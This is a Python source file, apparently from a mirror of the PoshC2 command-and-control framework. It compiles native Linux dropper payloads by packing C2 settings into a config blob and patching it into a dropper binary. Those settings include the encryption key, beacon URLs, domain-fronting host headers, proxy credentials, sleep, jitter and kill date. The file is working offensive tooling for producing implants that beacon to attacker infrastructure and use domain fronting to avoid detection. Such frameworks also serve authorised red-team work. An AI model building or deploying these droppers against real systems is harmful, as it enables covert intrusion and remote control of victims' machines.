mirror of
https://github.com/nettitude/PoshC2
synced 2026-06-08 16:22:47 +00:00
90 lines
3.5 KiB
Python
90 lines
3.5 KiB
Python
"""
|
|
|
|
Script to compile the Native Linux payloads
|
|
|
|
"""
|
|
import time
|
|
from datetime import datetime
|
|
from subprocess import Popen
|
|
from urllib.parse import urlparse
|
|
|
|
from poshc2 import Colours
|
|
from poshc2.server.Config import PayloadTemplatesDirectory, Jitter
|
|
|
|
|
|
def create_payloads(payloads, name):
|
|
payloads.quickstart_log(Colours.END)
|
|
payloads.quickstart_log("Linux files:")
|
|
|
|
# Serialize our config data in a way that can be embedded into the resource section of the dropper binary
|
|
# Arrays of items are represented by repeated keys (e.g. domain_front_header=header1.google.com\0domain_front_header=header2.google.com
|
|
# the overall string MUST be null terminated
|
|
# For now, ints and floats are represented as strings, might be good to serialise them (with struct?) in the future
|
|
|
|
# Even if domain fronting hasn't been setup by the user, we need to set a 'domain-front-header' per C2 comms host as otherwise Curl sends requests with an empty hosts header
|
|
# and that breaks things...
|
|
|
|
# The basic logic is to loop through each server that is set, and see if there's a matching domain front header.
|
|
# If not, extract the netloc from the URL (e.g. the domain) and use that
|
|
servers = payloads.payload_comms_host.split(",")
|
|
domain_front_headers = payloads.domain_front_header.split(",")
|
|
|
|
host_headers = []
|
|
for i in range(0, len(servers)):
|
|
try:
|
|
dfh_len = len(domain_front_headers[i].replace("\"", ""))
|
|
except IndexError:
|
|
dfh_len = 0
|
|
pass
|
|
|
|
if dfh_len == 0:
|
|
host_headers.append(urlparse(servers[i].replace("\"", "")).hostname)
|
|
# A host header was set - so use that instead
|
|
else:
|
|
host_headers.append(domain_front_headers[i])
|
|
|
|
mapping = {
|
|
"key=": payloads.encryption_key,
|
|
"urlid=": payloads.url_id,
|
|
"url_suffix2=": payloads.connect_url + "?e",
|
|
"domain_front_hdr=": host_headers,
|
|
"server_clean=": payloads.payload_comms_host.split(","),
|
|
"ua=": payloads.user_agent,
|
|
"proxy_url=": payloads.proxy_url,
|
|
"proxy_user=": payloads.proxy_user,
|
|
"proxy_pass=": payloads.proxy_password,
|
|
"urls=": payloads.all_beacon_urls.split(","),
|
|
"jitter=": Jitter,
|
|
"sleep_time=": payloads.sleep.replace("s", ""),
|
|
"kill_date=": int(time.mktime(datetime.strptime(payloads.kill_date, "%Y-%m-%d").timetuple())),
|
|
"icoimage=": payloads.all_beacon_images.split(","),
|
|
}
|
|
|
|
config_string = ''
|
|
|
|
for element in mapping:
|
|
if isinstance(mapping[element], list):
|
|
for item in mapping[element]:
|
|
config_string += element
|
|
config_string += str(item).replace("\"", "").strip()
|
|
config_string += "\x00"
|
|
else:
|
|
config_string += element
|
|
config_string += str(mapping[element]).replace("\"", "").strip()
|
|
config_string += "\x00"
|
|
|
|
config_string += "CONFIG_END\x00"
|
|
|
|
with open(f'{payloads.output_directory}/linux_config.bin', 'w') as f:
|
|
f.write(config_string)
|
|
|
|
proc = Popen(
|
|
f'objcopy --update-section .configuration={payloads.output_directory}/linux_config.bin {PayloadTemplatesDirectory}/dropper {payloads.output_directory}{name}native_dropper',
|
|
shell=True)
|
|
return_code = proc.wait()
|
|
|
|
if return_code != 0:
|
|
payloads.quickstart_log('Error creating native linux payload')
|
|
else:
|
|
payloads.quickstart_log(f'Linux dropper written to {payloads.output_directory}{name}native_dropper')
|